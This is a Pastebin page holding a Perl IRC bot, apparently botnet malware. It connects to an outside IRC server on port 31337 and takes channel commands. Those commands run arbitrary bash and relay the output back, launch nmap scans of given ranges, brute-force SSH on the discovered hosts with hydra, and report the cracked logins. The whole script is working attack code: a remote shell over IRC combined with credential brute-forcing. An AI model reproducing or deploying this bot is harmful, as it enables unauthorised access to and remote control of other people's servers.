Advertisement
independentt

Perl* Nmap & hydra, IRC bot

May 9th, 2016
28,304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6 2.49 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use IO::Socket;
  4.  
  5. use IO::Socket::INET;
  6.  
  7. use strict;
  8.  
  9. use warnings;
  10.  
  11. my $line;
  12. my $range = 256;
  13.  
  14. my $random_number = int(rand($range));
  15.  
  16. my $portatk = 22;
  17.  
  18. my $server="imnota.dumb1.com"; # irc server
  19.  
  20. my $porta="31337"; # port
  21.  
  22. my $nick="z0mb$random_number";# nick
  23.  
  24. my $canale="&Partyline"; # canale
  25.  
  26. our $subnet;
  27.  
  28. my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
  29.  
  30. $sk->autoflush(1);
  31.  
  32. print $sk "NICK $nick\r\n";
  33.  
  34. print $sk "USER zomb$random_number 8 * :Perl bot by independent\r\n";
  35.  
  36. print $sk "PASS temp \r\n";
  37.  
  38. print $sk "ADDSERVER 127.0.0.1:+6697";
  39.  
  40. while ($line = <$sk>) {
  41.  
  42.   $line =~ s/\r\n$//;
  43.  
  44.   if ($line=~ /PING/) {
  45.  
  46.     print $sk "PONG :$server\r\n";
  47.  
  48.     print $sk "JOIN $canale \r\n";
  49.  
  50.     printa("?Ping Pong!");
  51.  
  52.  
  53.  
  54.   }
  55.  
  56.   if ($line=~ /nospoof/) {
  57.  
  58.     print $sk "NOTICE IRC :mIRC v7.45\r\n";
  59.  
  60.     print $sk "CAP LS\r\n";
  61.  
  62.     print $sk "CAP END\r\n";
  63.  
  64.   }
  65.  
  66.   if ($line=~ /!help/) {
  67.  
  68.     printa("Scan by independent: die , cmd <bashcmd> , nmap <iprange> -pT:22 , scanlog , cracklist ");
  69.  
  70.   }
  71.   if ($line=~ /!cracklist/)
  72.  
  73.   {
  74.  
  75.      my $file = 'xcrack.log';
  76.  
  77.     open my $fh, '<', $file or warn "Could not open '$file' $!\n";
  78.  
  79.  
  80.  
  81.     while (my $lines = <$fh>) {
  82.  
  83.       chomp $lines;
  84.  
  85.       if ($lines=~ /host/) {
  86.            printa("$1");
  87.  
  88.       }
  89.  
  90.     }
  91.  
  92.   }
  93.   if ($line=~ /!scanlog/)
  94.  
  95.   {
  96.  
  97.      my $file = 'nmap.log';
  98.  
  99.     open my $fh, '<', $file or warn "Could not open '$file' $!\n";
  100.  
  101.  
  102.  
  103.     while (my $lines = <$fh>) {
  104.  
  105.       chomp $lines;
  106.  
  107.       if ($lines=~ /\b(\d{1,3}(?:\.\d{1,3}){3})\b/) {
  108.           split(/:/,$lines);
  109.           my @cmdhydra = "/usr/bin/hydra -F -L ./user -P ./pass ssh://$1 -v -t 5 >>xcrack.log";
  110.  
  111.           system(@cmdhydra);
  112.       }
  113.  
  114.     }
  115.  
  116.   }
  117.  
  118.   if ($line=~ /!die/)
  119.  
  120.   {
  121.  
  122.     printa("Dying...");
  123.  
  124.     my @cmd = ("pkill perl && pkill hydra");
  125.  
  126.     system(@cmd);
  127.  
  128.   }
  129.  
  130.   if ($line=~ /!cmd\s+(.*)/)
  131.  
  132.   {
  133.  
  134.         my $command = $1;
  135.  
  136.         printa("Done: $command ");
  137.  
  138.     my $cmd = "/usr/bin/bash $command";
  139.  
  140.     my @output = `$cmd 2>&1 3>&1`;
  141.  
  142.     foreach(@output) {
  143.  
  144.       printa("$_\r\n");
  145.  
  146.     }
  147.  
  148.   }
  149.  
  150.  
  151.  
  152.  
  153.  
  154.   if ($line=~ /!nmap (.+)/)
  155.  
  156.     {
  157.  
  158.       printa("[Scanning] $1");
  159.  
  160.       my @cmd = "/usr/bin/nmap -vv -Pn --open $1 >>nmap.log";
  161.  
  162.       system(@cmd);
  163.  
  164.     }
  165.  
  166.  
  167.  
  168.    
  169.  
  170. }
  171.  
  172. sub printa {
  173.  
  174.   print $sk "PRIVMSG $canale :9,12 $_[0]. \r\n";
  175.  
  176. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement